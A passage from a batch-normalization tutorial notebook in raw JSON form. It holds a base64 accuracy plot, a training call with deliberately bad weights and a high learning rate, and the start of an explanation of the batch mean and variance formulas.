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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa6afd2e48>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 2, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "When we trained with these parameters and batch normalization [earlier](#successful_example_lr_2), we reached 90% validation accuracy. However, this time the network _almost_ starts to make some progress in the beginning, but it quickly breaks down and stops learning. \n", "\n", "**Note:** Both of the above examples use *extremely* bad starting weights, along with learning rates that are too high. While we've shown batch normalization _can_ overcome bad values, we don't mean to encourage actually using them. The examples in this notebook are meant to show that batch normalization can help your networks train better. But these last two examples should remind you that you still want to try to use good network design choices and reasonable starting weights. It should also remind you that the results of each attempt to train a network are a bit random, even when using otherwise identical architectures." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Batch Normalization: A Detailed Look<a id='implementation_2'></a>" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The layer created by `tf.layers.batch_normalization` handles all the details of implementing batch normalization. Many students will be fine just using that and won't care about what's happening at the lower levels. However, some students may want to explore the details, so here is a short explanation of what's really happening, starting with the equations you're likely to come across if you ever read about batch normalization. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In order to normalize the values, we first need to find the average value for the batch. If you look at the code, you can see that this is not the average value of the batch _inputs_, but the average value coming _out_ of any particular layer before we pass it through its non-linear activation function and then feed it as an input to the _next_ layer.\n", "\n", "We represent the average as $\\mu_B$, which is simply the sum of all of the values $x_i$ divided by the number of values, $m$ \n", "\n", "$$\n", "\\mu_B \\leftarrow \\frac{1}{m}\\sum_{i=1}^m x_i\n", "$$\n", "\n", "We then need to calculate the variance, or mean squared deviation, represented as $\\sigma_{B}^{2}$. If you aren't familiar with statistics, that simply means for each value $x_i$, we subtract the average value (calculated earlier as $\\mu_B$), which gives us what's called the \"deviation\" for that value. We square the result to get the squared deviation. Sum up the results of doing that for each of the values, then divide by the number of values, again $m$, to get the average, or mean, squared deviation.\n", "\n", "$$\n", "\\sigma_{B}^{2} \\leftarrow \\frac{1}{m}\\sum_{i=1}^m (x_i - \\mu_B)^2\n", "$$\n", "\n", "Once we have the mean and variance, we can use them to normalize the values with the following equation. For each value, it subtracts the mean and divides by the (almost) standard deviation. (You've probably heard of standard deviation many times, but if you have not studied statistics you might not know that the 